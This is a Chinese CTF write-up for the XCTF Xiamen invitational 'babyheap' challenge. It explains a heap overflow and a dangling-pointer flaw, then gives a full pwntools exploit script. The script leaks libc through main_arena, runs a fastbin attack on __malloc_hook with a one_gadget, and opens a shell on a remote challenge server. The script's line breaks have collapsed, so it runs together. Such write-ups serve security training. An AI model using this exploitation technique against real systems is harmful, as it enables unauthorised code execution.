厦门邀请赛 pwn2 XCTF

这个题 看起来是一个无懈可击的堆题

典型的 堆菜单题 然后看一下函数里面有没有什么利用的点

这里   感觉没有什么利用的点  然后我们往下看

 

这里的修改长度是我们自己输入 也就是我们自己定的  长度 那么我们就可以 实现堆块任意输入

然后继续往下看

 

这里可以有些麻烦 输出的内容长度被限定在了 一开始的堆块大小   这个 可能需要一些绕过

然后看一下 dele

其实dele 这里做的已经很不错了  但是也是没有把用户指针给 清理掉

那么 我们就 get到了这个题的姿势

首先可以任意读写 堆块 然后可以又没有清理用户指针 然后我们可以 伪造堆块  绕过堆块大小

然后可以 填充   00 然后 可以 打印main_arena  然后直接一把梭就可以了

#!/usr/bin/python2
# -*- coding:utf-8 -*-from pwn import*
context.log_level="debug"
io=remote('111.198.29.45',43812)
#io=process("./babyheap")
elf=ELF("./babyheap")
libc=ELF("./libc-2.23.so")
one_gadget_addr= 0x4526a
def add(size,content):io.recvuntil(">> ")io.sendline("1")io.sendline(str(size))io.send(content)def edit(index,size,content):io.recvuntil(">> ")io.sendline("2")io.sendline(str(index))io.sendline(str(size))io.send(content)def show(index):io.recvuntil(">> ")io.sendline("3")io.sendline(str(index))def dele(index):io.recvuntil(">> ")io.sendline("4")io.sendline(str(index))if __name__ =='__main__':add(0x20,'a'*0x20)add(0x80,'b'*0x80)add(0x80,'c'*0x80)add(0x80,'c'*0x80)dele(1)payload='a'*0x20+p64(0)+p64(0x121)edit(0,len(payload),payload)payload='b'*0x80+p64(0)+p64(0x91)+'e'*0x80add(0x110,payload)dele(2)#gdb.attach(io)show(1)io.recvuntil('\x91\x00\x00\x00\x00\x00\x00\x00')main_arena_addr=u64(io.recv(6).ljust(8, '\x00'))-88log.success("main_arena_addr"+hex(main_arena_addr))libc_base_addr=main_arena_addr-0x3C4B20log.success("libc_base_addr"+hex(libc_base_addr))one_gadget_addr=one_gadget_addr +libc_base_addrfake_chunk_addr=main_arena_addr-0x33add(0x60,'d'*0x60)add(0x60,'d'*0x60)dele(4)payload='d'*0x80+p64(0)+p64(0x71)+p64(fake_chunk_addr)edit(3,len(payload),payload)add(0x60,'d'*0x60)payload=0x13 * 'a'+p64(one_gadget_addr)add(0x60,payload.ljust(0x60,'a'))#gdb.attach(io)add(0x90,'s'*0x90)io.interactive()io.close()

 


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部